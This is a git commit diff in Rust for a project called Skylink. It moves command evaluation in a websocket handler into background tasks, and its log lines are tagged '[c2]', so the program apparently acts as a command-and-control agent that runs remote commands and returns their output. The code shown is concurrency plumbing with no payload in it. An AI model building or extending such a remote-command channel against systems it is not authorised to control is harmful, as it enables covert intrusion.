feat: run stuff in bg

This commit is contained in:
Xory 2025-12-13 14:40:09 +02:00
parent 0b4d668d41
commit ecb098e15b
2 changed files with 37 additions and 15 deletions

View file

@ -72,23 +72,44 @@ pub async fn websocket_handler(ws_tx: WsTx) {
while let Some(msg) = ws_recv.next().await {
match msg {
Ok(Message::Text(text)) => {
// 1. Clone the Arc holding the Mutex so it can be moved into the background task.
// (Assumes ws_tx is type: Arc<Mutex<...>>)
let ws_tx = ws_tx.clone();
// 2. Spawn the task so the main loop can continue immediately to the next message.
tokio::spawn(async move {
log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await;
log(LogLevel::Info, LOG_PATH, format!("[c2] evaluating command...")).await;
// The heavy lifting (eval_command) now happens in the background
match eval_command(text.as_str()).await {
Err(e) => log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await,
Err(e) => {
// Same behavior as before: Log error, but don't stop the connection
log(LogLevel::Error, LOG_PATH, format!("[c2] failed to evaluate command! {e}")).await
}
Ok(v) => {
// We lock the writer only when we are ready to send the response
let mut unlocked_ws_tx = ws_tx.lock().await;
if let Some(h) = unlocked_ws_tx.as_mut() {
if let Err(e) = h.send(format!("{{ \"err\": null, \"out\": \"{v}\" }}").into()).await {
log(LogLevel::Error, LOG_PATH, format!("[ws] {e}")).await;
break;
let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}");
if let Err(e) = h.send(response_msg.into()).await {
log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;
// We cannot 'break' the main loop from here because we are in a separate task.
// However, we 'return' to stop this specific background task.
// Since the socket is likely dead (send error), the main loop will
// likely terminate on its next recv() attempt anyway.
return;
}
log(LogLevel::Info, LOG_PATH, format!("[c2] command evaluated successfully!")).await;
} else {
break;
// If ws_tx is None, we just stop this task
return;
}
}
}
});
}
Ok(Message::Close(_)) => {
log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await;

View file

@ -11,6 +11,7 @@ async fn main() -> anyhow::Result<()> {
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
let ws_tx: WsTx = Arc::new(Mutex::new(None));
let ws_tx_for_handler = Arc::clone(&ws_tx);
websocket_handler(ws_tx_for_handler).await;
let handle = tokio::spawn(async { websocket_handler(ws_tx_for_handler).await });
let _ = handle.await;
Ok(())
}